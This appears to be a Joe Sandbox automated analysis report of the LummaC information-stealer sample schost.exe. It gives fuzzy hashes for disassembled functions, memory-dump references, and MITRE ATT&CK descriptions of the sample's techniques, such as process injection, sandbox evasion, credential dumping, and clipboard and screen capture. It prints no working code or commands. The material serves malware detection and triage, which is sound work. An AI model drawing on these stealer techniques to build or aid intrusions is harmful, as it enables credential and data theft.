Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fb7f438c5c4dca9d542d010704f564aa8c339b5d82f191b9433bdcfd20d3972
Instruction ID: d41090bbc5cdf1eee4b9e767fbef583de22e64e79b7a5adf37564b72c8c73a6c
Opcode Fuzzy Hash: 8fb7f438c5c4dca9d542d010704f564aa8c339b5d82f191b9433bdcfd20d3972
Instruction Fuzzy Hash: 8741FA3170C2654BC7289E2D8D5813ABBD24FC5618F0DCA7AE8C5AB7CBE5789D0097C9

Function 0040D9D6 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0501dee0cd475f0528001a804b543f83bb980b08efb0e061e04e26c6bcac48f
Instruction ID: 9fa01659ad8de31616e7a3bece4b0ebd12d10b8bf800f35ceca4d3f4b48f7db6
Opcode Fuzzy Hash: f0501dee0cd475f0528001a804b543f83bb980b08efb0e061e04e26c6bcac48f
Instruction Fuzzy Hash: 5251BF32B656018FD31CCF7CCC82666B6E3EB9531972DC53E9056C77A5DA38E8028748

Function 0043B7E0 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 459afc3e467d5247fe6443b366a0b0acd94dcc8ddc2ffa92890ff12f6ad588ef
Instruction ID: a12b8c0182a61b8c0dcb24e574365e2446023a880a9609403b6df3a4a4656157
Opcode Fuzzy Hash: 459afc3e467d5247fe6443b366a0b0acd94dcc8ddc2ffa92890ff12f6ad588ef
Instruction Fuzzy Hash: BB31593BA19B15CFE7089F79D89021B77A2FBCA350F2A847DDA8543652CB35D9018781

Function 0040D136 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c4e62ba9308e78600a03fb08915fb589ea36e633141cd22722de6b1452e6b6
Instruction ID: 2adf1b471041e318d085131b5c25906aa0ef628fdecf1c7cc439bd873dbe0119
Opcode Fuzzy Hash: d8c4e62ba9308e78600a03fb08915fb589ea36e633141cd22722de6b1452e6b6
Instruction Fuzzy Hash: 2A21F736B106018BD72CCB38CCA163B7793ABCA31572DC13E9197C73E9DE34A8018614

Function 0041AEC5 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 952670a55784d431d970a3eed704d470b0aeab0eb4664b3b35544288deaf35a8
Instruction ID: 157f9dc6c30a3f8e7012f38a3543129662c1ccbafda1b3b4c39616780386f915
Opcode Fuzzy Hash: 952670a55784d431d970a3eed704d470b0aeab0eb4664b3b35544288deaf35a8
Instruction Fuzzy Hash: 9E210E7540D3819BC7149B3888012AFFBA1AF93328F149A6DF5D297292D339C847C71B

Function 00402B90 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce5268b2cb12f830d2f938287316391b2315b06526712d89e8233c91e4a213b8
Instruction ID: 96f90f60e8dd0990346840b1114267e9a804311747d2bbb38bbaf23e5c27bc8a
Opcode Fuzzy Hash: ce5268b2cb12f830d2f938287316391b2315b06526712d89e8233c91e4a213b8
Instruction Fuzzy Hash: 4E11D632B182220BE75CDE62D8F967B6352E78931070A013EDE47673D1CEB0F801D264

Function 004180EC Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4720f93b5e583e1436a46f0c8ff2d578415a284bcd34cb36c7c667644f46f1a2
Instruction ID: e867d9d1f28d7a5eba1ee3aa62fd3901ca7eafcffc61e3722708c4ddc888ec81
Opcode Fuzzy Hash: 4720f93b5e583e1436a46f0c8ff2d578415a284bcd34cb36c7c667644f46f1a2
Instruction Fuzzy Hash: 6A019675A08340ABE3608F289940BABB7E6B78A314F245A2DE5C493255CB75D8428B9D

Function 00432AA0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 57554b220478db5cbed8bb508ca5b9341bb5a8124f106d97950563f0cb4ed476
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: FB112933A042D40EC3268D3C8900566BFA31B97234F1D539AF4B59B2D2D6668D8B9359

Function 00428DB0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a011a27137bedbfde1d81e6990c257233fd33e675cfd29fd3a4a4d1d0f128886
Instruction ID: 38d02f156ba9bea008bfc3cbf089b3dc91c799dc872ea954a9214ded2d150559
Opcode Fuzzy Hash: a011a27137bedbfde1d81e6990c257233fd33e675cfd29fd3a4a4d1d0f128886
Instruction Fuzzy Hash: E301B5F1B0131147D7209E15A4C0B2FB2A96FA0708F58443ED80497382DFB9FC08C6A9

Function 0042A58E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a30f681505e4db35b5ed8e54df63b63ef7e515c4b9fc49bbc63e0401b10513
Instruction ID: 12b2805a1f20fa8b6142eba5500c80610d2c3edaf282c8c7ce7b4e803315b4ad
Opcode Fuzzy Hash: 07a30f681505e4db35b5ed8e54df63b63ef7e515c4b9fc49bbc63e0401b10513
Instruction Fuzzy Hash: 45014C293456504BC31A8B39D8E0763BBE2EFE7301F5D85ADC4D28B74AC67ED8064706

Function 0041805C Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8d66e0010325b6422922c937078ec9626dcdbb334fde7781a2277a78e48d2e8b
Instruction ID: 8711fe80fd9cdcc946cfeee52c3a971414c24b006f2a8bfd417734f7af7e8c33
Opcode Fuzzy Hash: 8d66e0010325b6422922c937078ec9626dcdbb334fde7781a2277a78e48d2e8b
Instruction Fuzzy Hash: BA0149746142048BE724CB249C21BBBBBD1FB8F304F151A2DE1C5A3191CF64D880C60D

Function 0040A4FC Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe6f0fb5443b9a01c1fbd4e09ae81bf7540544174fd81e1490294d2a34f9ea0
Instruction ID: 0c7f04cba0ebecf99243f2c815fb382dab3cd3855d7a05e12ca6b616032a23fd
Opcode Fuzzy Hash: 8fe6f0fb5443b9a01c1fbd4e09ae81bf7540544174fd81e1490294d2a34f9ea0
Instruction Fuzzy Hash: F6C012BAD8002063C3298A1088601F8A2300686428B0BA328CC5A33B60C1299C4284E8

Function 00430E8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00430EC1
GetSystemMetrics.USER32 ref: 00430ED0

Strings

, xrefs: 00430F7B

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 1a07bbeef6fc36448364366884fe18d673ec2a3ba7b128be2150e116853cae2f
Instruction ID: c462c863d7540d378f15546e975ceae7bdcd2c3f8effd4f67c5b55e1d1f3667c
Opcode Fuzzy Hash: 1a07bbeef6fc36448364366884fe18d673ec2a3ba7b128be2150e116853cae2f
Instruction Fuzzy Hash: 7A3183B09143148FDB40EF69D98965EBBF4BB88304F01853DE499DB364D774A948CF86

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report schost.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
schost.exe

Function 00435870 Relevance: 26.9, APIs: 11, Strings: 4, Instructions: 661
memorycomCOMMON

Function 0040E458 Relevance: 14.2, APIs: 2, Strings: 7, Instructions: 651
COMMON

Function 0040CDD7 Relevance: 10.3, Strings: 8, Instructions: 291
COMMON

Function 004227B0 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 529
COMMON

Function 00420B10 Relevance: 8.0, Strings: 6, Instructions: 515
COMMON

Function 00408920 Relevance: 6.1, APIs: 4, Instructions: 116
threadCOMMON

Function 0040AAE0 Relevance: 5.4, Strings: 4, Instructions: 370
COMMON

Function 00431262 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Function 00415971 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 457
encryptionCOMMON

Function 0040CC16 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON